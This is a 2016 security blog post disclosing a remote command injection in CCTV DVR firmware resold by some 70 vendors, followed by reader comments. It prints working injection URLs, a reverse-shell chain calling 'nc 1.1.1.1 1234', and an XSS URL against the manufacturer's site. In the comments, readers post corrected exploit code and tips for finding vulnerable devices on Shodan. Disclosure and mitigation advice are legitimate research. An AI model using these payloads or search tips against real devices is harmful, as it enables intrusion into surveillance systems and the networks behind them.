Tuesday, March 22, 2016

Remote Code Execution in CCTV-DVR affecting over 70 different vendors


This post is going to be a follow up from a research which dates back to December 2014, called "The Backoff POS Trojan operation". Back then, one of the key conclusions highlighted from the report is that fraudsters are adopting new tactics in order to attack retailers. This new attack vector is to compromise DVR boxes, which is the heart component of any CCTV system. This was allowing them to achieve two goals at once-
  1. Verify a targeted host actually belongs to a retailer.
  2. Get a foothold inside the local network, one step closer to the POS station.

Surveillance cameras, the first line of security in the physical world, are the virtual's weakest link?This sparks an amusing irony. When the old fashion thieves used to physically break into stores, on their way to the cashier they had to try and avoid or neutralize any surveillance equipment. The digital thieves are entering the store through them. Truly Hollywood  material.



Got me curious 

So this was as far as the Backoff research paper went. But these CCTV systems caught my curiosity. I had two questions in mind;
  1. What is their distribution across the net?
  2. How are they being compromised?
Using the data I've gathered from the C&C server of over thousand infected machines, i started mapping the open services/ports. I soon discovered a lot of them had port 81/82 open in addition to port 8000. They were HTTP servers identifying as "Cross Web Server". And their main web page looked like this -



A quick Shodan query, revealed their distribution; a total of over 30,000(!). Quite a lot and yet I'm sure this is only a small portion of them.


Vendor? 

Next thing i want to know is which manufacturer is behind these CCTV equipment. And so one grep led to another-

WebClient.html:

<script id=" gt="" live_js="" lt="" script="" src="script/live.js" type="text/javascript">

script/live.js:

 <img style="cursor:auto;" src = "logo/logo.png">

And viola! The logo suggests this is an Israeli company selling CCTV systems, but comments all over the code actually says it was made in china. So i decided to pay their website a visit. Navigating through their website, i encountered the download section which offers firmware update for these DVR boxes. Sweet!


Let the bug hunt begin..

Download. Unzip. Floop -

total 8684
drwx------  8 exodus exodus    4096 Feb 10 18:26 .
drwx------  8 exodus exodus   16384 Feb 10 16:08 ..
-rw-r--r--  1 exodus exodus     604 Nov  7  2012 boot.sh
drwx------  2 exodus exodus    4096 Nov  7  2012 config
-rw-r--r--  1 exodus exodus    1027 Nov  7  2012 dep2.sh
-rw-r--r--  1 exodus exodus  307561 Nov  7  2012 language.tar
-rw-r--r--  1 exodus exodus 1189984 Nov  7  2012 libhi3520a.so
drwx------  2 exodus exodus    4096 Feb  8 13:07 modules
-rw-r--r--  1 exodus exodus    2175 Nov  7  2012 netupgrade.sh
-rw-r--r--  1 exodus exodus    4852 Nov  7  2012 preupgrade.sh
drwx------  2 exodus exodus    4096 Jan  4  2015 product
-rw-r--r--  1 exodus exodus    5984 Nov  7  2012 productcheck
-rw-r--r--  1 exodus exodus      44 Nov  7  2012 rewdg.sh
-rw-r--r--  1 exodus exodus 7257480 Nov  7  2012 td3520a
drwx------  2 exodus exodus    4096 Jan  4  2015 ui
drwx------  2 exodus exodus    4096 Jan  4  2015 VideoPlay
drwx------ 34 exodus exodus    4096 Jan 27  2015 WebSites
-rw-r--r--  1 exodus exodus   51696 Nov  7  2012 XDVRStart.hisi


A compressed file system. My aim is to get to the main server process . My first guess was to begin from the boot.sh since it probably execute all the relevant binaries on boot. boot.sh Executes another shell script called deps2.sh. This script execute two binaries. XVDRStart.hisi and td3520a.

From their size i understand that most of the weight is found in td3520a.

First thing I notice, the binary is saved in debugged mode which means it has all the symbols and therefore all the functions names. This makes the analysis process much easier.. thanks guys! After snooping around for a while, I discovered within the implementation of the HTTP server the following vulnerable code


.text:0040878C LDR     R0, [R11,#dirp] ; dirp
.text:00408790 BL      closedir
.text:00408794 LDR     R0, =aExtractLanguag ; "extract language packet!"
.text:00408798 BL      puts
.text:0040879C SUB     R3, R11, #-var_6C00
.text:004087A0 SUB     R3, R3, #4
.text:004087A4 SUB     R3, R3, #0xCC
.text:004087A8 SUB     R2, R11, #-dest
.text:004087AC MOV     R0, R3          ; s
.text:004087B0 LDR     R1, =aTarZxfMntMtdWe ; "tar -zxf /mnt/mtd/WebSites/language.tar.gz
                                            ;    %s/* -C /nfsdir/language/"
.text:004087B4 BL      sprintf
.text:004087B8 SUB     R3, R11, #-var_6C00
.text:004087BC SUB     R3, R3, #4
.text:004087C0 SUB     R3, R3, #0xCC
.text:004087C4 MOV     R0, R3          ; char *
.text:004087C8 BL      DVRSystem


It reads the URI, and if it contain something like the following -

/language/[language]/index.html

its going to extract the [language] in between the slashes and check if the directory exists, if not it is going to execute this command -

tar -zxf /mnt/mtd/WebSites/language.tar.gz [language]/* -C /nfsdir/language

This basically gives us a remote command line execution. Awesome!


Exploitation

In order to exploit it i had to overcome few obstacles I've identified -
  1.  Can't use spaces or newlines + server does not understand URL encoding
  2.  Length in between the slashes is limited.

I was able to bypass the no-space restrictions with something called ${IFS} . Basically IFS stands for Internal Field Separator, it holds the value which is used by the shell to determine how to do field splitting. By default it holds "\n" which is exactly what i needed.  So this is my new attack vector -
/language/Swedish${IFS}&&echo${IFS}1>test&&tar${IFS}/string.js
And it worked! the file has been written. Lets do another test -

/language/Swedish${IFS}&&echo${IFS}$USER>test&&tar${IFS}/string.js
outputs -
root

Great success!! As with many embed systems this one is using BusyBox so what i decided to do is invoke netcat in order to get a nice and comfy reverse shell. So considering our length limitation i broke the command into three pieces -

Three ..
echo nc 1.1.1.1 1234>e

Two ...
echo -e $SHELL>>e

One.  Lift off!
$(cat e) &>r



♫Too many cooks, too many cooks♫

Since comments all over the code suggested this is a "made in china" case, I wanted to trace the origin of it. This process led me to discovering over 70(!) vendors reselling almost identical products. They may have different logo, or slightly different plastics, but they share the same vulnerable software. This is basically what they call "white labeling". Probably China's most common business model.  Eventually I've located the real manufacturer, a company called TVT.

Finding all the different vendors is one thing, but identifying the vulnerable products is a whole other story since every vendor has different modeling convention. To summarize this i'd say too many cooks are stirring the same rotten pot. This makes it really hard to mitigate the problem and leaving a lot of potential vulnerable end users/businesses.

Mitigation

Since there are many vendors who redistribute this hardware-software it is hard to rely on vendors patch to arrive at your doorstep. I believe there are few more vulnerabilities being exploited in the wild against these machines and therefore your best shot would probably be to deny any connection from an unknown IP address to the DVR services. And so I will leave you here with a list of vendors who are selling some of TVT's re-branded  gear.

Last note about the responsible disclosure process. I've been trying to contact TVT for quite some time with no luck. They have been ignoring me for too long, so they left me with no choice but to disclosure.



Vendors List

Ademco
ATS Alarmes technolgy and ststems
Area1Protection
Avio
Black Hawk Security
Capture
China security systems
Cocktail Service
Cpsecured
CP PLUS
Digital Eye'z no website
Diote Service & Consulting
DVR Kapta
ELVOX
ET Vision
Extra Eye 4 U
eyemotion
EDS
Fujitron
Full HD 1080p
Gazer
Goldeye
Goldmaster
Grizzly
HD IViewer
Hi-View
Ipcom
IPOX
IR
ISC Illinois Security Cameras, Inc.
JFL Alarmes
Lince
LOT
Lux
Lynx Security
Magtec
Meriva Security
Multistar
Navaio
NoVus
Optivision
PARA Vision
Provision-ISR
Q-See
Questek
Retail Solution Inc
RIT Huston .com
ROD Security cameras
Satvision
Sav Technology
Skilleye
Smarteye
Superior Electrial Systems
TechShell
TechSon
Technomate
TecVoz
TeleEye
Tomura
truVue
TVT
Umbrella
United Video Security System, Inc
Universal IT Solutions
US IT Express
U-Spy Store
Ventetian
V-Gurad Security
Vid8
Vtek
Vision Line
Visar
Vodotech.com
Vook
Watchman
Xrplus
Yansi
Zetec
ZoomX



42 comments:

  1. I fully expected to find LaView on here, which is currently my home CCTV DVR. It's a piece of Chinese junk that I intend to replace soon with some IP Cams and an NVR that I'll roll my own. Not a really strong networking guy, but I feel confident that access to the DVR I have now is relegated to only internal network devices.

    Nicely done, and thanks for the info!

    ReplyDelete
  2. I discovered a plethora issues in low end DVR boxes in 2012/2013. I would be interested in sharing the results and comparing notes.

    ReplyDelete
    Replies
    1. sure, feel free to contact me by mail

      Delete
  3. Exploit Error :
    from requests.exceptions import ConnectionError, Timeout, ContentDecodingError
    ImportError: cannot import name ContentDecodingError

    ReplyDelete
    Replies
    1. You should probably upgrade your requests library

      Delete
    2. sorry but people like you shouldnt use exploits like this maybe stick to RATting people

      Delete
    3. use this command bro, pip install requests --upgrade this help to you to upgrade yours lib. bye

      Delete
  4. This comment has been removed by the author.

    ReplyDelete
  5. i got this
    after -c

    Traceback (most recent call last):
    File "39596.py", line 122, in
    main()
    File "39596.py", line 63, in main
    if response.text[0] != '1':
    IndexError: string index out of range

    ReplyDelete
    Replies
    1. i have the same mistake. but if i try with -e i dont have mistake.

      Delete
  6. Very thorough work.

    One thing, how did you determine their vendor list?

    ReplyDelete
  7. Thanks!

    And i did it by pulling all the logo images. The one found at -logo/logo.png

    ReplyDelete
  8. XSS vulnerability in the manufacturer's website:
    http://www.tvt.net.cn/Admin/Error.aspx?Tip=%3Cscript%3Ealert(%22test%22)%3C/script%3E&ClassName=about.aspx

    ReplyDelete
  9. I have a Q-See, so I tested the exploit on my own system. But there seems to be a problem. -c reports
    [!] Checking if target "[REDACTED]" is vulnable...
    [V] Target "[REDACTED]" is vulnerable!

    But I could not produce a reverse shell. By playing with the code I see that it hangs at the first step.

    ReplyDelete
    Replies
    1. This comment has been removed by the author.

      Delete
    2. I figured it out. Did you mangle the code on purpose? More importantly, how cat this vulnerability be patched?

      Delete
    3. Hmm why is it not working properly?
      Any fix needed?
      As suggested in the blog post, currently the best thing you could do is deny any connection from unknown sources.

      Delete
    4. Durring the last check phase "%s://%s//" should be "%s://%s/", or else the test file doesn't get deleted. Durring exploit phases ${IFS} seems to be misplaced. Here are my changes:

      raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}nc${IFS}%s${IFS}%s>e&&tar${IFS}/string.js' % (target_url.scheme, target_url.netloc, match.group('host'), match.group('port')))

      # Two ...
      raw_url_request('%s://%s/language/Swedish${IFS}&&echo${IFS}"-e${IFS}$SHELL${IFS}">>e&&tar${IFS}/string.js' % (target_url.scheme, target_url.netloc))


      # One. Left off!
      raw_url_request('%s://%s/language/Swedish${IFS}&&$(cat${IFS}e)&tar${IFS}/string.js' % (target_url.scheme, target_url.netloc))

      Delete
    5. percent sign is out of place due to a bad copy/paste

      Delete
    6. Alright, I fixed it, thank you very much!
      Really appreciate it!

      Delete
  10. This is relatively old news. I have been testing these devices for 4 years. In fact, given the fact I have worked with the vendors, I can tell you all the china "stuff" is sourced in common across vendors. Also you should look at rtsp and some other paths to own these devices. I know of half a dozen or more.

    ReplyDelete
  11. Alright cool. Will check the rtsp. Thanks for commenting :)

    ReplyDelete
  12. This comment has been removed by the author.

    ReplyDelete
  13. Thanks you for this work. It's great.
    But i can't find a vulnerable cams. I use shodan with TVT as keyword and also i had tried other words from your list. Maybe i do wrong something but your script run without errors. Can you tell me a keyword for search or write some example of vulnerable url. Thank you.

    ReplyDelete
    Replies
    1. try searching for the port # and "cross web server"..

      Delete
    2. try searching for the port # and "cross web server"..

      Delete
  14. This comment has been removed by the author.

    ReplyDelete
  15. senhores boa tarde!

    estou com problema na pcb tw2316ss v1.2 rb27
    que tem a logo tec voz.
    apresentando beep continuo logo no inicio de alimentaçao da placa

    ReplyDelete
  16. senhores boa tarde!

    estou com problema na pcb tw2316ss v1.2 rb27
    que tem a logo tec voz.
    apresentando beep continuo logo no inicio de alimentaçao da placa

    ReplyDelete
  17. I found a vulnerable target but after i get the message that target is vulnerable nothing happens. Just this screen :
    Checking if target ( ip of the camera) is vulnerable
    Target (the ip of the camera) is vulnerable
    And then nothing
    Can you help?
    Thanks

    ReplyDelete
  18. thanks for sharing this with us and keep posting. please tell us more about cctv cameras, dvr, nvr and ip camera also.

    ReplyDelete
  19. Thanks fkr the code, i found another vendor with the logo.png trick and it just says h.264 cam but all the dvr resources are the same,

    I ran your corrected code and right after execution i wait a lot and nothing happens (not even timeout). But when i check the target it's vulnerable as expected.

    What do you suggest is the problem? Do i need to open the port on my machine or does python do that itself?

    ReplyDelete
  20. I manually tried the USER>test check you performed and the cross web server is giving me a 404 response. Is that supposed to happen? Maybe the target is patched?, but how come the test is succesful?

    ReplyDelete
  21. This comment has been removed by the author.

    ReplyDelete
  22. This comment has been removed by the author.

    ReplyDelete
  23. Am getting this error:

    root@kali:~/h264_dvr_rce# python h264-dvr-rce.py 000.000.000.000 -c
    [X] supplied target "000.000.000.000" is not a valid URL
    Usage: h264-dvr-rce.py [options]

    Options:
    -h, --help show this help message and exit
    -c, --check Check if target is vulnerable
    -e CONNBACK, --exploit=CONNBACK
    Fire the exploit against the given target URL

    Is there anything am not doing right?
    NB:I have not posted the IP address for obvious reasons.

    ReplyDelete
    Replies
    1. Replace 000.000.000.000 with http://000.000.000.000:port

      Delete
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    ReplyDelete
  25. This comment has been removed by a blog administrator.

    ReplyDelete